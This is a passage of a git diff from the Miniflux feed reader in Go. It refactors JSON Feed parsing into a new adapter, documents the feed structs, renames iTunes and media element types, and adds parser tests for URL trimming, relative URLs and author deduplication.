slog.Int64("user_id", userID), slog.Int64("feed_id", feedID), diff --git a/internal/reader/icon/finder.go b/internal/reader/icon/finder.go index 965f14df..835a3a14 100644 --- a/internal/reader/icon/finder.go +++ b/internal/reader/icon/finder.go @@ -15,11 +15,11 @@ import ( "miniflux.app/v2/internal/config" "miniflux.app/v2/internal/crypto" "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/reader/encoding" "miniflux.app/v2/internal/reader/fetcher" "miniflux.app/v2/internal/urllib" "github.com/PuerkitoBio/goquery" + "golang.org/x/net/html/charset" ) type IconFinder struct { @@ -191,7 +191,7 @@ func findIconURLsFromHTMLDocument(body io.Reader, contentType string) ([]string, "link[rel='apple-touch-icon-precomposed.png']", } - htmlDocumentReader, err := encoding.CharsetReaderFromContentType(contentType, body) + htmlDocumentReader, err := charset.NewReader(body, contentType) if err != nil { return nil, fmt.Errorf("icon: unable to create charset reader: %w", err) } diff --git a/internal/reader/itunes/itunes.go b/internal/reader/itunes/itunes.go index 1673f306..87a02f0d 100644 --- a/internal/reader/itunes/itunes.go +++ b/internal/reader/itunes/itunes.go @@ -6,7 +6,7 @@ package itunes // import "miniflux.app/v2/internal/reader/itunes" import "strings" // Specs: https://help.apple.com/itc/podcasts_connect/#/itcb54353390 -type ItunesFeedElement struct { +type ItunesChannelElement struct { ItunesAuthor string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd author"` ItunesBlock string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd block"` ItunesCategories []ItunesCategoryElement `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd category"` @@ -22,7 +22,7 @@ type ItunesFeedElement struct { ItunesType string `xml:"http://www.itunes.com/dtds/podcast-1.0.dtd type"` } -func (i *ItunesFeedElement) GetItunesCategories() []string { +func (i *ItunesChannelElement) GetItunesCategories() []string { var categories []string for _, category := range i.ItunesCategories { categories = append(categories, category.Text) diff --git a/internal/reader/json/adapter.go b/internal/reader/json/adapter.go new file mode 100644 index 00000000..cf54100f --- /dev/null +++ b/internal/reader/json/adapter.go @@ -0,0 +1,172 @@ +// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +package json // import "miniflux.app/v2/internal/reader/json" + +import ( + "log/slog" + "slices" + "strings" + "time" + + "miniflux.app/v2/internal/crypto" + "miniflux.app/v2/internal/model" + "miniflux.app/v2/internal/reader/date" + "miniflux.app/v2/internal/reader/sanitizer" + "miniflux.app/v2/internal/urllib" +) + +type JSONAdapter struct { + jsonFeed *JSONFeed +} + +func NewJSONAdapter(jsonFeed *JSONFeed) *JSONAdapter { + return &JSONAdapter{jsonFeed} +} + +func (j *JSONAdapter) BuildFeed(baseURL string) *model.Feed { + feed := &model.Feed{ + Title: strings.TrimSpace(j.jsonFeed.Title), + FeedURL: strings.TrimSpace(j.jsonFeed.FeedURL), + SiteURL: strings.TrimSpace(j.jsonFeed.HomePageURL), + } + + if feed.FeedURL == "" { + feed.FeedURL = strings.TrimSpace(baseURL) + } + + // Fallback to the feed URL if the site URL is empty. + if feed.SiteURL == "" { + feed.SiteURL = feed.FeedURL + } + + if feedURL, err := urllib.AbsoluteURL(baseURL, feed.FeedURL); err == nil { + feed.FeedURL = feedURL + } + + if siteURL, err := urllib.AbsoluteURL(baseURL, feed.SiteURL); err == nil { + feed.SiteURL = siteURL + } + + // Fallback to the feed URL if the title is empty. + if feed.Title == "" { + feed.Title = feed.SiteURL + } + + // Populate the icon URL if present. + for _, iconURL := range []string{j.jsonFeed.FaviconURL, j.jsonFeed.IconURL} { + iconURL = strings.TrimSpace(iconURL) + if iconURL != "" { + if absoluteIconURL, err := urllib.AbsoluteURL(feed.SiteURL, iconURL); err == nil { + feed.IconURL = absoluteIconURL + break + } + } + } + + for _, item := range j.jsonFeed.Items { + entry := model.NewEntry() + entry.Title = strings.TrimSpace(item.Title) + entry.URL = strings.TrimSpace(item.URL) + + // Make sure the entry URL is absolute. + if entryURL, err := urllib.AbsoluteURL(feed.SiteURL, entry.URL); err == nil { + entry.URL = entryURL + } + + // The entry title is optional, so we need to find a fallback. + if entry.Title == "" { + for _, value := range []string{item.Summary, item.ContentText, item.ContentHTML} { + if value != "" { + entry.Title = sanitizer.TruncateHTML(value, 100) + } + } + } + + // Fallback to the entry URL if the title is empty. + if entry.Title == "" { + entry.Title = entry.URL + } + + // Populate the entry content. + for _, value := range []string{item.ContentHTML, item.ContentText, item.Summary} { + value = strings.TrimSpace(value) + if value != "" { + entry.Content = value + break + } + } + + // Populate the entry date. + for _, value := range []string{item.DatePublished, item.DateModified} { + value = strings.TrimSpace(value) + if value != "" { + if date, err := date.Parse(value); err != nil { + slog.Debug("Unable to parse date from JSON feed", + slog.String("date", value), + slog.String("url", entry.URL), + slog.Any("error", err), + ) + } else { + entry.Date = date + break + } + } + } + if entry.Date.IsZero() { + entry.Date = time.Now() + } + + // Populate the entry author. + itemAuthors := j.jsonFeed.Authors + itemAuthors = append(itemAuthors, item.Authors...) + itemAuthors = append(itemAuthors, item.Author, j.jsonFeed.Author) + + var authorNames []string + for _, author := range itemAuthors { + authorName := strings.TrimSpace(author.Name) + if authorName != "" { + authorNames = append(authorNames, authorName) + } + } + + slices.Sort(authorNames) + authorNames = slices.Compact(authorNames) + entry.Author = strings.Join(authorNames, ", ") + + // Populate the entry enclosures. + for _, attachment := range item.Attachments { + attachmentURL := strings.TrimSpace(attachment.URL) + if attachmentURL != "" { + if absoluteAttachmentURL, err := urllib.AbsoluteURL(feed.SiteURL, attachmentURL); err == nil { + entry.Enclosures = append(entry.Enclosures, &model.Enclosure{ + URL: absoluteAttachmentURL, + MimeType: attachment.MimeType, + Size: attachment.Size, + }) + } + } + } + + // Populate the entry tags. + for _, tag := range item.Tags { + tag = strings.TrimSpace(tag) + if tag != "" { + entry.Tags = append(entry.Tags, tag) + } + } + + // Generate a hash for the entry. + for _, value := range []string{item.ID, item.URL, item.ContentText + item.ContentHTML + item.Summary} { + value = strings.TrimSpace(value) + if value != "" { + entry.Hash = crypto.Hash(value) + break + } + } + + feed.Entries = append(feed.Entries, entry) + } + + return feed +} diff --git a/internal/reader/json/json.go b/internal/reader/json/json.go index c6920947..58a06006 100644 --- a/internal/reader/json/json.go +++ b/internal/reader/json/json.go @@ -3,207 +3,141 @@ package json // import "miniflux.app/v2/internal/reader/json" -import ( - "log/slog" - "strings" - "time" +// JSON Feed specs: +// https://www.jsonfeed.org/version/1.1/ +// https://www.jsonfeed.org/version/1/ +type JSONFeed struct { + // Version is the URL of the version of the format the feed uses. + // This should appear at the very top, though we recognize that not all JSON generators allow for ordering. + Version string `json:"version"` - "miniflux.app/v2/internal/crypto" - "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/reader/date" - "miniflux.app/v2/internal/reader/sanitizer" - "miniflux.app/v2/internal/urllib" -) + // Title is the name of the feed, which will often correspond to the name of the website. + Title string `json:"title"` -type jsonFeed struct { - Version string `json:"version"` - Title string `json:"title"` - SiteURL string `json:"home_page_url"` - IconURL string `json:"icon"` - FaviconURL string `json:"favicon"` - FeedURL string `json:"feed_url"` - Authors []jsonAuthor `json:"authors"` - Author jsonAuthor `json:"author"` - Items []jsonItem `json:"items"` + // HomePageURL is the URL of the resource that the feed describes. + // This resource may or may not actually be a “home” page, but it should be an HTML page. + HomePageURL string `json:"home_page_url"` + + // FeedURL is the URL of the feed, and serves as the unique identifier for the feed. + FeedURL string `json:"feed_url"` + + // Description provides more detail, beyond the title, on what the feed is about. + Description string `json:"description"` + + // IconURL is the URL of an image for the feed suitable to be used in a timeline, much the way an avatar might be used. + IconURL string `json:"icon"` + + // FaviconURL is the URL of an image for the feed suitable to be used in a source list. It should be square and relatively small. + FaviconURL string `json:"favicon"` + + // Authors specifies one or more feed authors. The author object has several members. + Authors []JSONAuthor `json:"authors"` // JSON Feed v1.1 + + // Author specifies the feed author. The author object has several members. + // JSON Feed v1 (deprecated) + Author JSONAuthor `json:"author"` + + // Language is the primary language for the feed in the format specified in RFC 5646. + // The value is usually a 2-letter language tag from ISO 639-1, optionally followed by a region tag. (Examples: en or en-US.) + Language string `json:"language"` + + // Expired is a boolean value that specifies whether or not the feed is finished. + Expired bool `json:"expired"` + + // Items is an array, each representing an individual item in the feed. + Items []JSONItem `json:"items"` + + // Hubs describes endpoints that can be used to subscribe to real-time notifications from the publisher of this feed. + Hubs []JSONHub `json:"hubs"` } -type jsonAuthor struct { +type JSONAuthor struct { + // Author's name. Name string `json:"name"` - URL string `json:"url"` + + // Author's website URL (Blog or micro-blog). + WebsiteURL string `json:"url"` + + // Author's avatar URL. + AvatarURL string `json:"avatar"` } -type jsonItem struct { - ID string `json:"id"` - URL string `json:"url"` - Title string `json:"title"` - Summary string `json:"summary"` - Text string `json:"content_text"` - HTML string `json:"content_html"` - DatePublished string `json:"date_published"` - DateModified string `json:"date_modified"` - Authors []jsonAuthor `json:"authors"` - Author jsonAuthor `json:"author"` - Attachments []jsonAttachment `json:"attachments"` - Tags []string `json:"tags"` +type JSONHub struct { + // Type defines the protocol used to talk with the hub: "rssCloud" or "WebSub". + Type string `json:"type"` + + // URL is the location of the hub. + URL string `json:"url"` } -type jsonAttachment struct { - URL string `json:"url"` +type JSONItem struct { + // Unique identifier for the item. + // Ideally, the id is the full URL of the resource described by the item, since URLs make great unique identifiers. + ID string `json:"id"` + + // URL of the resource described by the item. + URL string `json:"url"` + + // ExternalURL is the URL of a page elsewhere. + // This is especially useful for linkblogs. + // If url links to where you’re talking about a thing, then external_url links to the thing you’re talking about. + ExternalURL string `json:"external_url"` + + // Title of the item (optional). + // Microblog items in particular may omit titles. + Title string `json:"title"` + + // ContentHTML is the HTML body of the item. + ContentHTML string `json:"content_html"` + + // ContentText is the text body of the item. + ContentText string `json:"content_text"` + + // Summary is a plain text sentence or two describing the item. + Summary string `json:"summary"` + + // ImageURL is the URL of the main image for the item. + ImageURL string `json:"image"` + + // BannerImageURL is the URL of an image to use as a banner. + BannerImageURL string `json:"banner_image"` + + // DatePublished is the date the item was published. + DatePublished string `json:"date_published"` + + // DateModified is the date the item was modified. + DateModified string `json:"date_modified"` + + // Language is the language of the item. + Language string `json:"language"` + + // Authors is an array of JSONAuthor. + Authors []JSONAuthor `json:"authors"` + + // Author is a JSONAuthor. + // JSON Feed v1 (deprecated) + Author JSONAuthor `json:"author"` + + // Tags is an array of strings. + Tags []string `json:"tags"` + + // Attachments is an array of JSONAttachment. + Attachments []JSONAttachment `json:"attachments"` +} + +type JSONAttachment struct { + // URL of the attachment. + URL string `json:"url"` + + // MIME type of the attachment. MimeType string `json:"mime_type"` - Title string `json:"title"` - Size int64 `json:"size_in_bytes"` - Duration int `json:"duration_in_seconds"` -} - -func (j *jsonFeed) GetAuthor() string { - if len(j.Authors) > 0 { - return (getAuthor(j.Authors[0])) - } - return getAuthor(j.Author) -} - -func (j *jsonFeed) Transform(baseURL string) *model.Feed { - var err error - - feed := new(model.Feed) - - feed.FeedURL, err = urllib.AbsoluteURL(baseURL, j.FeedURL) - if err != nil { - feed.FeedURL = j.FeedURL - } - - feed.SiteURL, err = urllib.AbsoluteURL(baseURL, j.SiteURL) - if err != nil { - feed.SiteURL = j.SiteURL - } - - feed.IconURL = strings.TrimSpace(j.IconURL) - - if feed.IconURL == "" { - feed.IconURL = strings.TrimSpace(j.FaviconURL) - } - - feed.Title = strings.TrimSpace(j.Title) - if feed.Title == "" { - feed.Title = feed.SiteURL - } - - for _, item := range j.Items { - entry := item.Transform() - entryURL, err := urllib.AbsoluteURL(feed.SiteURL, entry.URL) - if err == nil { - entry.URL = entryURL - } - - if entry.Author == "" { - entry.Author = j.GetAuthor() - } - - feed.Entries = append(feed.Entries, entry) - } - - return feed -} - -func (j *jsonItem) GetDate() time.Time { - for _, value := range []string{j.DatePublished, j.DateModified} { - if value != "" { - d, err := date.Parse(value) - if err != nil { - slog.Debug("Unable to parse date from JSON feed", - slog.String("date", value), - slog.String("url", j.URL), - slog.Any("error", err), - ) - return time.Now() - } - - return d - } - } - - return time.Now() -} - -func (j *jsonItem) GetAuthor() string { - if len(j.Authors) > 0 { - return getAuthor(j.Authors[0]) - } - return getAuthor(j.Author) -} - -func (j *jsonItem) GetHash() string { - for _, value := range []string{j.ID, j.URL, j.Text + j.HTML + j.Summary} { - if value != "" { - return crypto.Hash(value) - } - } - - return "" -} - -func (j *jsonItem) GetTitle() string { - if j.Title != "" { - return j.Title - } - - for _, value := range []string{j.Summary, j.Text, j.HTML} { - if value != "" { - return sanitizer.TruncateHTML(value, 100) - } - } - - return j.URL -} - -func (j *jsonItem) GetContent() string { - for _, value := range []string{j.HTML, j.Text, j.Summary} { - if value != "" { - return value - } - } - - return "" -} - -func (j *jsonItem) GetEnclosures() model.EnclosureList { - enclosures := make(model.EnclosureList, 0) - - for _, attachment := range j.Attachments { - if attachment.URL == "" { - continue - } - - enclosures = append(enclosures, &model.Enclosure{ - URL: attachment.URL, - MimeType: attachment.MimeType, - Size: attachment.Size, - }) - } - - return enclosures -} - -func (j *jsonItem) Transform() *model.Entry { - entry := model.NewEntry() - entry.URL = j.URL - entry.Date = j.GetDate() - entry.Author = j.GetAuthor() - entry.Hash = j.GetHash() - entry.Content = j.GetContent() - entry.Title = strings.TrimSpace(j.GetTitle()) - entry.Enclosures = j.GetEnclosures() - if len(j.Tags) > 0 { - entry.Tags = j.Tags - } - - return entry -} - -func getAuthor(author jsonAuthor) string { - if author.Name != "" { - return strings.TrimSpace(author.Name) - } - - return "" + + // Title of the attachment. + Title string `json:"title"` + + // Size of the attachment in bytes. + Size int64 `json:"size_in_bytes"` + + // Duration of the attachment in seconds. + Duration int `json:"duration_in_seconds"` } diff --git a/internal/reader/json/parser.go b/internal/reader/json/parser.go index ee0f634d..69a0f523 100644 --- a/internal/reader/json/parser.go +++ b/internal/reader/json/parser.go @@ -13,10 +13,10 @@ import ( // Parse returns a normalized feed struct from a JSON feed. func Parse(baseURL string, data io.Reader) (*model.Feed, error) { - feed := new(jsonFeed) - if err := json.NewDecoder(data).Decode(&feed); err != nil { + jsonFeed := new(JSONFeed) + if err := json.NewDecoder(data).Decode(&jsonFeed); err != nil { return nil, fmt.Errorf("json: unable to parse feed: %w", err) } - return feed.Transform(baseURL), nil + return NewJSONAdapter(jsonFeed).BuildFeed(baseURL), nil } diff --git a/internal/reader/json/parser_test.go b/internal/reader/json/parser_test.go index 02664f5c..6f62831f 100644 --- a/internal/reader/json/parser_test.go +++ b/internal/reader/json/parser_test.go @@ -10,7 +10,7 @@ import ( "time" ) -func TestParseJsonFeed(t *testing.T) { +func TestParseJsonFeedVersion1(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "My Example Feed", @@ -49,7 +49,7 @@ func TestParseJsonFeed(t *testing.T) { t.Errorf("Incorrect site URL, got: %s", feed.SiteURL) } - if feed.IconURL != "https://micro.blog/jsonfeed/avatar.jpg" { + if feed.IconURL != "https://micro.blog/jsonfeed/favicon.png" { t.Errorf("Incorrect icon URL, got: %s", feed.IconURL) } @@ -177,7 +177,157 @@ func TestParsePodcast(t *testing.T) { } } -func TestParseEntryWithoutAttachmentURL(t *testing.T) { +func TestParseFeedWithFeedURLWithTrailingSpace(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "home_page_url": "https://example.org/", + "feed_url": "https://example.org/feed.json ", + "items": [] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if feed.FeedURL != "https://example.org/feed.json" { + t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL) + } +} + +func TestParseFeedWithRelativeFeedURL(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "home_page_url": "https://example.org/", + "feed_url": "/feed.json", + "items": [] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if feed.FeedURL != "https://example.org/feed.json" { + t.Errorf("Incorrect feed URL, got: %s", feed.FeedURL) + } +} + +func TestParseFeedSiteURLWithTrailingSpace(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "home_page_url": "https://example.org/ ", + "feed_url": "https://example.org/feed.json", + "items": [] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "https://example.org/" { + t.Errorf("Incorrect site URL, got: %s", feed.SiteURL) + } +} + +func TestParseFeedWithRelativeSiteURL(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "home_page_url": "/home ", + "feed_url": "https://example.org/feed.json", + "items": [] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "https://example.org/home" { + t.Errorf("Incorrect site URL, got: %s", feed.SiteURL) + } +} + +func TestParseFeedWithoutTitle(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "home_page_url": "https://example.org/", + "feed_url": "https://example.org/feed.json", + "items": [ + { + "id": "2347259", + "url": "https://example.org/2347259", + "content_text": "Cats are neat. \n\nhttps://example.org/cats", + "date_published": "2016-02-09T14:22:00-07:00" + } + ] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if feed.Title != "https://example.org/" { + t.Errorf("Incorrect title, got: %s", feed.Title) + } +} + +func TestParseFeedWithoutHomePage(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "feed_url": "https://example.org/feed.json", + "title": "Some test", + "items": [ + { + "id": "2347259", + "url": "https://example.org/2347259", + "content_text": "Cats are neat. \n\nhttps://example.org/cats", + "date_published": "2016-02-09T14:22:00-07:00" + } + ] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "https://example.org/feed.json" { + t.Errorf("Incorrect title, got: %s", feed.Title) + } +} + +func TestParseFeedWithoutFeedURL(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "title": "Some test", + "items": [ + { + "id": "2347259", + "url": "https://example.org/2347259", + "content_text": "Cats are neat. \n\nhttps://example.org/cats", + "date_published": "2016-02-09T14:22:00-07:00" + } + ] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "https://example.org/feed.json" { + t.Errorf("Incorrect title, got: %s", feed.Title) + } +} + +func TestParseItemWithoutAttachmentURL(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "user_comment": "This is a podcast feed. You can add this feed to your podcast client using the following URL: http://therecord.co/feed.json", @@ -216,7 +366,7 @@ func TestParseEntryWithoutAttachmentURL(t *testing.T) { } } -func TestParseFeedWithRelativeURL(t *testing.T) { +func TestParseItemWithRelativeURL(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "Example", @@ -241,7 +391,7 @@ func TestParseFeedWithRelativeURL(t *testing.T) { } } -func TestParseAuthor(t *testing.T) { +func TestParseItemWithLegacyAuthorField(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "user_comment": "This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json", @@ -277,7 +427,7 @@ func TestParseAuthor(t *testing.T) { } } -func TestParseAuthors(t *testing.T) { +func TestParseItemWithMultipleAuthorFields(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1.1", "user_comment": "This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json", @@ -285,11 +435,11 @@ func TestParseAuthors(t *testing.T) { "home_page_url": "https://example.org/", "feed_url": "https://example.org/feed.json", "author": { - "name": "This field is deprecated, use authors", + "name": "Deprecated Author Field", "url": "http://example.org/", "avatar": "https://example.org/avatar.png" }, - "authors": [ + "authors": [ { "name": "Brent Simmons", "url": "http://example.org/", @@ -315,14 +465,15 @@ func TestParseAuthors(t *testing.T) { t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) } - if feed.Entries[0].Author != "Brent Simmons" { + if feed.Entries[0].Author != "Brent Simmons, Deprecated Author Field" { t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author) } } -func TestParseFeedWithoutTitle(t *testing.T) { +func TestParseItemWithMultipleDuplicateAuthors(t *testing.T) { data := `{ - "version": "https://jsonfeed.org/version/1", + "version": "https://jsonfeed.org/version/1.1", + "title": "Example", "home_page_url": "https://example.org/", "feed_url": "https://example.org/feed.json", "items": [ @@ -330,7 +481,24 @@ func TestParseFeedWithoutTitle(t *testing.T) { "id": "2347259", "url": "https://example.org/2347259", "content_text": "Cats are neat. \n\nhttps://example.org/cats", - "date_published": "2016-02-09T14:22:00-07:00" + "date_published": "2016-02-09T14:22:00-07:00", + "authors": [ + { + "name": "Author B", + "url": "http://example.org/", + "avatar": "https://example.org/avatar.png" + }, + { + "name": "Author A", + "url": "http://example.org/", + "avatar": "https://example.org/avatar.png" + }, + { + "name": "Author B", + "url": "http://example.org/", + "avatar": "https://example.org/avatar.png" + } + ] } ] }` @@ -340,12 +508,16 @@ func TestParseFeedWithoutTitle(t *testing.T) { t.Fatal(err) } - if feed.Title != "https://example.org/" { - t.Errorf("Incorrect title, got: %s", feed.Title) + if len(feed.Entries) != 1 { + t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + if feed.Entries[0].Author != "Author A, Author B" { + t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author) } } -func TestParseFeedItemWithInvalidDate(t *testing.T) { +func TestParseItemWithInvalidDate(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "My Example Feed", @@ -376,34 +548,7 @@ func TestParseFeedItemWithInvalidDate(t *testing.T) { } } -func TestParseFeedItemWithoutID(t *testing.T) { - data := `{ - "version": "https://jsonfeed.org/version/1", - "title": "My Example Feed", - "home_page_url": "https://example.org/", - "feed_url": "https://example.org/feed.json", - "items": [ - { - "content_text": "Some text." - } - ] - }` - - feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) - if err != nil { - t.Fatal(err) - } - - if len(feed.Entries) != 1 { - t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) - } - - if feed.Entries[0].Hash != "13b4c5aecd1b6d749afcee968fbf9c80f1ed1bbdbe1aaf25cb34ebd01144bbe9" { - t.Errorf("Incorrect entry hash, got: %s", feed.Entries[0].Hash) - } -} - -func TestParseFeedItemWithoutTitleButWithURL(t *testing.T) { +func TestParseItemWithoutTitleButWithURL(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "My Example Feed", @@ -430,7 +575,7 @@ func TestParseFeedItemWithoutTitleButWithURL(t *testing.T) { } } -func TestParseFeedItemWithoutTitleButWithSummary(t *testing.T) { +func TestParseItemWithoutTitleButWithSummary(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "My Example Feed", @@ -457,7 +602,7 @@ func TestParseFeedItemWithoutTitleButWithSummary(t *testing.T) { } } -func TestParseFeedItemWithoutTitleButWithHTMLContent(t *testing.T) { +func TestParseItemWithoutTitleButWithHTMLContent(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "My Example Feed", @@ -484,7 +629,7 @@ func TestParseFeedItemWithoutTitleButWithHTMLContent(t *testing.T) { } } -func TestParseFeedItemWithoutTitleButWithTextContent(t *testing.T) { +func TestParseItemWithoutTitleButWithTextContent(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "My Example Feed", @@ -515,7 +660,7 @@ func TestParseFeedItemWithoutTitleButWithTextContent(t *testing.T) { } } -func TestParseTruncateItemTitleUnicode(t *testing.T) { +func TestParseItemWithTooLongUnicodeTitle(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "My Example Feed", @@ -573,15 +718,34 @@ func TestParseItemTitleWithXMLTags(t *testing.T) { } } -func TestParseInvalidJSON(t *testing.T) { - data := `garbage` - _, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) - if err == nil { - t.Error("Parse should returns an error") +func TestParseItemWithoutID(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "home_page_url": "https://example.org/", + "feed_url": "https://example.org/feed.json", + "items": [ + { + "content_text": "Some text." + } + ] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Errorf("Incorrect number of entries, got: %d", len(feed.Entries)) + } + + if feed.Entries[0].Hash != "13b4c5aecd1b6d749afcee968fbf9c80f1ed1bbdbe1aaf25cb34ebd01144bbe9" { + t.Errorf("Incorrect entry hash, got: %s", feed.Entries[0].Hash) } } -func TestParseTags(t *testing.T) { +func TestParseItemTags(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "user_comment": "This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json", @@ -600,7 +764,8 @@ func TestParseTags(t *testing.T) { "content_text": "Cats are neat. \n\nhttps://example.org/cats", "date_published": "2016-02-09T14:22:00-07:00", "tags": [ - "tag 1", + " tag 1", + " ", "tag 2" ] } @@ -623,11 +788,11 @@ func TestParseTags(t *testing.T) { } } -func TestParseFavicon(t *testing.T) { +func TestParseFeedFavicon(t *testing.T) { data := `{ "version": "https://jsonfeed.org/version/1", "title": "My Example Feed", - "favicon": "https://micro.blog/jsonfeed/favicon.png", + "favicon": "https://example.org/jsonfeed/favicon.png", "home_page_url": "https://example.org/", "feed_url": "https://example.org/feed.json", "items": [ @@ -648,7 +813,81 @@ func TestParseFavicon(t *testing.T) { if err != nil { t.Fatal(err) } - if feed.IconURL != "https://micro.blog/jsonfeed/favicon.png" { + if feed.IconURL != "https://example.org/jsonfeed/favicon.png" { t.Errorf("Incorrect icon URL, got: %s", feed.IconURL) } } + +func TestParseFeedIcon(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "icon": "https://example.org/jsonfeed/icon.png", + "home_page_url": "https://example.org/", + "feed_url": "https://example.org/feed.json", + "items": [ + { + "id": "2", + "content_text": "This is a second item.", + "url": "https://example.org/second-item" + }, + { + "id": "1", + "content_html": "

Hello, world!

", + "url": "https://example.org/initial-post" + } + ] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + if feed.IconURL != "https://example.org/jsonfeed/icon.png" { + t.Errorf("Incorrect icon URL, got: %s", feed.IconURL) + } +} + +func TestParseFeedWithRelativeAttachmentURL(t *testing.T) { + data := `{ + "version": "https://jsonfeed.org/version/1", + "title": "My Example Feed", + "home_page_url": "https://example.org/", + "feed_url": "https://example.org/feed.json", + "items": [ + { + "id": "2", + "content_text": "This is a second item.", + "url": "https://example.org/second-item", + "attachments": [ + { + "url": " /attachment.mp3 ", + "mime_type": "audio/mpeg", + "size_in_bytes": 123456 + } + ] + } + ] + }` + + feed, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries[0].Enclosures) != 1 { + t.Fatalf("Incorrect number of enclosures, got: %d", len(feed.Entries[0].Enclosures)) + } + + if feed.Entries[0].Enclosures[0].URL != "https://example.org/attachment.mp3" { + t.Errorf("Incorrect enclosure URL, got: %q", feed.Entries[0].Enclosures[0].URL) + } +} + +func TestParseInvalidJSON(t *testing.T) { + data := `garbage` + _, err := Parse("https://example.org/feed.json", bytes.NewBufferString(data)) + if err == nil { + t.Error("Parse should returns an error") + } +} diff --git a/internal/reader/media/media.go b/internal/reader/media/media.go index df84bf03..736fc06c 100644 --- a/internal/reader/media/media.go +++ b/internal/reader/media/media.go @@ -11,18 +11,18 @@ import ( var textLinkRegex = regexp.MustCompile(`(?mi)(\bhttps?:\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])`) -// Element represents XML media elements. // Specs: https://www.rssboard.org/media-rss -type Element struct { - MediaGroups []Group `xml:"http://search.yahoo.com/mrss/ group"` - MediaContents []Content `xml:"http://search.yahoo.com/mrss/ content"` - MediaThumbnails []Thumbnail `xml:"http://search.yahoo.com/mrss/ thumbnail"` - MediaDescriptions DescriptionList `xml:"http://search.yahoo.com/mrss/ description"` - MediaPeerLinks []PeerLink `xml:"http://search.yahoo.com/mrss/ peerLink"` +type MediaItemElement struct { + MediaCategories MediaCategoryList `xml:"http://search.yahoo.com/mrss/ category"` + MediaGroups []Group `xml:"http://search.yahoo.com/mrss/ group"` + MediaContents []Content `xml:"http://search.yahoo.com/mrss/ content"` + MediaThumbnails []Thumbnail `xml:"http://search.yahoo.com/mrss/ thumbnail"` + MediaDescriptions DescriptionList `xml:"http://search.yahoo.com/mrss/ description"` + MediaPeerLinks []PeerLink `xml:"http://search.yahoo.com/mrss/ peerLink"` } // AllMediaThumbnails returns all thumbnail elements merged together. -func (e *Element) AllMediaThumbnails() []Thumbnail { +func (e *MediaItemElement) AllMediaThumbnails() []Thumbnail { var items []Thumbnail items = append(items, e.MediaThumbnails...) for _, mediaGroup := range e.MediaGroups { @@ -32,7 +32,7 @@ func (e *Element) AllMediaThumbnails() []Thumbnail { } // AllMediaContents returns all content elements merged together. -func (e *Element) AllMediaContents() []Content { +func (e *MediaItemElement) AllMediaContents() []Content { var items []Content items = append(items, e.MediaContents...) for _, mediaGroup := range e.MediaGroups { @@ -42,7 +42,7 @@ func (e *Element) AllMediaContents() []Content { } // AllMediaPeerLinks returns all peer link elements merged together. -func (e *Element) AllMediaPeerLinks() []PeerLink { +func (e 